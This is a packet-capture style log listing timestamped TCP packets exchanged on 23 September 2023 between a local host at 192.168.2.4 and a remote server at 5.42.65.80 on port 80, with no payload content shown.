Sep 23, 2023 17:53:23.775978088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.776029110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.776074886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.776098013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.776139021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.776163101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.777040005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.777302980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.777353048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.777540922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.778019905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.778072119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.778537035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.778592110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.778898001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.779365063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.779434919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.779480934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.779699087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.779829979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.779881954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.779946089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780003071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780056000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.780122042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780163050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.780256987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780339956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780390024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.780405998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780646086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780694962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.780822992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.780900955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781016111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781055927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.781095982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781222105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781263113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.781342983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781383991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.781402111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781419039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781460047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.781521082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781563997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781604052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.781670094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781725883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781888962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.781928062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.781951904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782025099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782073975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.782097101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782152891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782154083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.782217026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782325983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.782509089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782565117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782605886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.782679081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782840967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.782880068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.782918930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783010960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783083916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783123970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.783129930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783198118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783247948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.783256054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783272982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783299923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.783379078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783627033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783670902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.783763885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783844948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783894062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.783900023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.783930063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.783953905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784022093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784061909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.784223080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784322023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784363985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.784379005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784499884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784596920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784662962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784713030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.784861088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.784996033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.785044909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.785134077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.785221100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.785372972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.785409927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.785434961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.785464048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.785504103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.785586119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.785625935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.785671949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786113024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786158085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.786293030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786381960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786422968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.786431074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786495924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786569118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786612034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.786684036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786849022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786895037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.786922932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.786962032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.787018061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787151098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787194014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.787233114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787312984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787352085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.787442923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787601948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787669897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787712097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.787812948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787869930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787909031 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.787924051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787952900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.787964106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.788041115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788065910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788077116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.788116932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788156986 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.788182020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788322926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788363934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.788389921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788501024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788546085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.788594961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788764954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788811922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788853884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.788878918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788894892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.788935900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.789041996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789067030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789110899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.789114952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789180040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789293051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789305925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.789330006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.789357901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789520025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789561987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.789638996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789690971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789727926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.789743900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789855003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.789891958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.789947033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790051937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790124893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790163040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.790294886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790347099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790385008 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.790441990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790535927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790580988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.790597916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790640116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.790664911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790682077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790719986 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.790759087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790854931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.790894985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.790962934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791002989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791116953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.791121006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791169882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791251898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791290998 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.791367054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791423082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791486979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.791491032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791551113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.791563988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791692019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791732073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791749001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791774035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.791788101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.791814089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791894913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.791934967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.791959047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792035103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792069912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.792094946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792231083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792267084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792304993 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.792345047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792483091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792567015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.792603970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792634010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792643070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.792684078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792718887 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.792762041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792905092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792922020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.792942047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.792996883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793035030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.793045998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793075085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793111086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.793178082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793227911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793262005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.793364048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793592930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793659925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.793684006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793735981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793751955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793776035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.793843031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793939114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.793962955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.793982983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794060946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794084072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.794130087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794171095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.794256926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794503927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794548988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.794614077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794657946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794696093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.794708014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794761896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794778109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794797897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.794841051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794883966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.794894934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794934034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794986010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.794992924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.795058966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.795095921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.795169115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.795273066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.795322895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.795434952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.795501947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.795548916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.796046972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796173096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796217918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.796292067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796334982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796372890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.796452045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796542883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796597958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796634912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.796818018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796889067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.796927929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.796968937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797004938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.797096014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797243118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797275066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797281027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.797354937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797399044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.797427893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797491074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797650099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797668934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797688007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.797708988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.797751904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797806978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797822952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797843933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.797900915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797916889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.797959089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.798026085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798158884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798197031 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.798238993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798271894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798274040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.798357010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798393011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.798542976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798666000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798702002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.798729897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798854113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798954010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.798991919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.799020052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799093008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799128056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.799261093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799298048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.799339056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.799520016 CEST	80	49781	5.42.65.80	192.168.2.4
